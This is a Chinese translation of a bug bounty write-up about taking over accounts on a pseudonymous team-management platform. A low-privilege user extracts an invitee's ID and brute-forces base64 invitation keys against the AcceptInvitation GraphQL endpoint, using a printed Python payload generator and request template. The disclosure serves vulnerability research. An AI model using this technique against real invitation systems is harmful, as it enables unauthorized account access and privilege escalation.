未经许可,不得转载。
文章目录
- 前言
- 1、邀请用户
- 2、低级账户访问
- 3、提取用户 ID 和 OTP
- 4、准备字典
- 5、攻击
- 6、账户接管
前言
ExampleSpark(化名)是一个专为团队管理和项目协作而设计的强大平台。它提供了用于管理用户、项目和权限的综合工具。
1、邀请用户
1.1、登录 ExampleSpark 上的管理员帐户。
1.2、导航到团队管理部分。
1.3、邀请用户,这将生成一个邀请链接,其中包含带有用户 ID 的 base64 编码令牌和 7 位 OTP(一次性密码)。
2、低级账户访问
2.1、登录 ExampleSpark 上的低级别帐户。
3、提取用户 ID 和 OTP
3.1、转到团队管理部分并选择受邀用户。
3.2、从 URL 中提取用户 ID https://app.examplespark.com/users/User:<user_id>
。例如018dee9c-a9be-04f8-0000-fb5b23eef4d2
4、准备字典
4.1、字典格式为:userid的base64编码+7位otpcode
(例如MDE4ZGVlOWMtYTliZS0wNGY4LTAwMDAtZmI1YjIzZWVmNGQyO39426NQ
)。
4.2、生成包含7 位随机字母数字的OPT,将每个组合转换为base64编码。
代码如下:
import random
import base64def generate_otp():# Generate a random 7-digit alphanumeric OTPcharacters = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"otp = ''.join(random.choice(characters) for i in range(7))return otpdef convert_to_base64(data):# Convert the data to base64data_bytes = data.encode('utf-8')base64_encoded = base64.b64encode(data_bytes).decode('utf-8')return base64_encoded# Constant user ID
user_id = "018dee9c-a9be-04f8-0000-fb5b23eef4d2"# Number of OTPs to generate (updated to 1000)
num_otps = 1000# Generate payloads and create a list
payload_list = []for _ in range(num_otps):otp = generate_otp()payload = f"{user_id}:{otp}"base64_payload = convert_to_base64(payload)payload_list.append(base64_payload)# Print the generated payloads and their base64 representations
for i, payload in enumerate(payload_list, start=1):print(f"Payload {i}: {payload}")
5、攻击
接收邀请的请求包如下
POST /graphql/frontend?n=AcceptInvitation HTTP/2
Host: app.examplespark.com
Cookie: [session cookies]
Content-Length: 616
Sec-Ch-Ua: "Not A;Brand";v="99", "Chromium";v="100", "Google Chrome";v="100"
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
Content-Type: application/json
Accept: */*
X-Graphql-Operation: AcceptInvitation
Sec-Ch-Ua-Platform: "Linux"
Origin: https://app.examplespark.com
Referer: https://app.examplespark.com/invitations/MDE4ZGVkZWUtZWZiZS0wNGY4LTAwMDAtN2I4YWRmZDAwYjQ1OjAxMzI2NQ
{"operationName":"AcceptInvitation","variables":{"invitation_key":"","name":"","password":""},"query":"mutation AcceptInvitation($invitation_key: String!, $name: String!, $password: String!) {\n accept_invitation(\n input: {invitation_key: $invitation_key, name: $name, password: $password}\n ) {\n account_id\n user {\n id\n status\n ...AuthUserLogin\n __typename\n }\n __typename\n }\n}\n\nfragment AuthUserLogin on User {\n id\n email\n display_name\n session_valid_until\n __typename\n}"}
选择invitation_key
参数,添加字典并开始攻击。
6、账户接管
响应为 200 OK 状态、长度为 1142时表示成功接受邀请。
攻击者可以接受邀请并获得未经授权的访问权限,并可能根据受邀用户的角色提升权限。
原文出处:
https://medium.com/bugbountywriteup/500-for-cracking-invitation-code-for-unauthorized-access-account-takeover-558c663fb947